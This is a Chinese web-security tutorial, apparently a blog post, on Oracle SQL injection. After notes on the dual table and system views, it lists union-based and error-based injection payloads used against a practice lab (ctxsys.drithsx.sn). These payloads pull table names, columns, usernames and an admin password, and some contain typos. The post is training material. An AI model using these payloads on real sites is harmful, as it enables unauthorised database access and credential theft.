web安全入门(第五章-5)报错注入

1,Oracle中的一个表 – Dual

	数据会区分大小写,代码不会
	
	本质:为了满足语句格式而诞生的一个临时表	
			//有人说是实表,有人说是虚表,咱们不用再在意
	用法:
			在mysql中可能可以直接这么写 	select 1,2,3;				
										select user();//查询当前用户
			
			但Oracle语法结构严谨,这么写	select 1,2,3 from Dual;		
										select user from Dual
			
			除此之外,还可以这么用:
			
				select dbms_random.random from dual		//获取随机值
				select 22+33 from dual					//计算加减法
		提示:Oracle数据库弱化了库的概念,主要以用户名作为区分

2.常用函数:

		select*from all_tables    			查询所有的表
		select*from user_tables				查询当前用户的表
		select*from all_tab_columns			查询所有的字段
		select*from user_tab_columns		查询当前用户的字段
		select*from v$ version 				查版本
		rownum =1(限制查询返回的总行数为一条)
		其他	~1,	所有数据库基本都区分大小写(引号内的内容),
			但是字段名一般不区分,比如FROM==from
	
	~2,limit 字段是mysql特有的,Oracle数据库有类似的rownum,但是又区别
		
			例如:
					select *from user_tab_columns where tabIE_name='ADMIN' and rownum<=1
					//输出1条数据 ; 当输出的是一条时,可以不写"<"
					select *from user_tab_columns where tabIE_name='ADMIN' and rownum<=3
					//输出3条数据
	~3,屏蔽某个字段
			select  * from user_tab_columns where tabIE_name='ADMIN' and rownum=1 
			and COLUMN_NAME <> 'ID'
							//输出admin表中除了id字段所有内容
			select  * from user_tab_columns where tabIE_name='ADMIN' and rownum=1 
			and COLUMN_NAME <> 'ID' and COLUMN_NAME <> 'USER_NAME'
							//输出admin表中除了id,user_name字段的所有内容

报错注入+联合查询(union all)

	1,判断注入点
			url id=1    ' -- qwe
	2,判断字段数
			url id=1	' order by 3 -- qwe
	3,判断输出点
			url id=1	' union all select null,null,null from dual -- qwe
	4,查询系统自带表
			url' union all select 1,null,to_nclob(TABLE_NAME) from user_tables -- qwe
					//to_nclob()函数的作用:将值转换为 NCLOB 数据类型。这是偶然现象
	5,得到字段
			url' union all select 1,null,to_nclob(COLUMN_NAME) from user_tab_columns where TABLE_NAME='ADMIN' -- qwe
			//查询ADMIN内的字段,可以在最后增加限制:AND rownum=1 and COLUMN_NAME<>'ID'等等
	6,查询内容
			url' union all select 1,null,to_nclob(FLAG_FLAG) from ADMIN -- qwe
			
	7,补充,查询当前用户
			url' union all select 1,null,to_nclob(user) from DUAL -- qwe

靶场演示:

	使用and 1=ctxsys.dritsx.sn 函数
	
	and 1=ctxsys.dritsx.sn(1,select banner from sys.v_$version where rounum=1))    查询数据库版本
	
	and 1=ctxsys.dritsx.sn(1,select table_name from user_tables where rounum=1))  查询表名

	 and 1= ctxsys.drithsx.sn(1,(select uname from admin where rownum=1))			查询字段名

	and 1= ctxsys.drithsx.sn(1,(select uname from admin where rownum=1 and uname<>'我是管理员'))   查询第二个字段
	
	and 1=ctxsys.drithsx.sn(1,(select uname from admin where rownum=1and uname<>'我是管理员'and uname <>'admin'))  查询第三个字段

	and 1=ctxsys.drithsx.sn(1,(select upass from admin where rownum=1 and uname='NF'))  查内容
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值